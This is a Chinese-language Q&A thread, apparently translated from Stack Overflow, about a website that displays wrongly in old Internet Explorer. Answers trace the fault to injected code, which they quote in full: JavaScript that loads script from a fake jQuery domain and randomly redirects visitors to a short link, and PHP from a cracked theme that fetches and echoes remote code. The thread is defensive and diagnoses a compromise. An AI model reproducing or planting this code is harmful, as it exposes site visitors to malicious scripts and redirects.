当我用IE 9-8-7浏览我的网站时出现了一些错误。它与Chrome,Safari,Firefox和Opera完美呈现。可能是什么原因?谢谢。
Internet Explorer中的错误视图
答案 0 :(得分:4)
这是HTML的第一行:
<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>'); } </script>
<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0) {
window.location = "http://bit.ly/vjqJ4w";
}
</script><!DOCTYPE html>
在doctype之前填充IE会将IE投入Quirks Mode,这就是您的网站在IE中无法正常显示的原因。
更重要的是,您的网站似乎已被黑客入侵。浏览到hxxp://bit.ly/vjqJ4w会带你到你可能不想去的地方。
答案 1 :(得分:3)
但请让我先解释一下导致这种情况的原因。
没有。原因是您或您的开发人员可能从warez分销商网站获取了一些破解/黑客/无效主题。
所以要解决这个问题。只需在主题根文件夹下打开index.php
<?php
if(function_exists('curl_init'))
{
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
删除整个脚本,您的网站应该正常工作。
答案 2 :(得分:0)
迫使IE在您的页面中以怪癖模式(即IE5.5模式)运行。点击F12后,您可以看到当前的文档模式并进行更改。
当我查看源代码时,doctype似乎设置正确...我看不到thirtydot看到了什么。
你(很可能)使用某种wordpress插件在某些情况下导致问题(这可以解释为什么bingjie2680没有注意到任何东西。
答案 3 :(得分:0)
尝试修复代码错误并重新验证。 [Invalid] Markup Validation of omergencay.com - W3C Markup Validator。在验证报告中向下滚动以查看行号和源代码。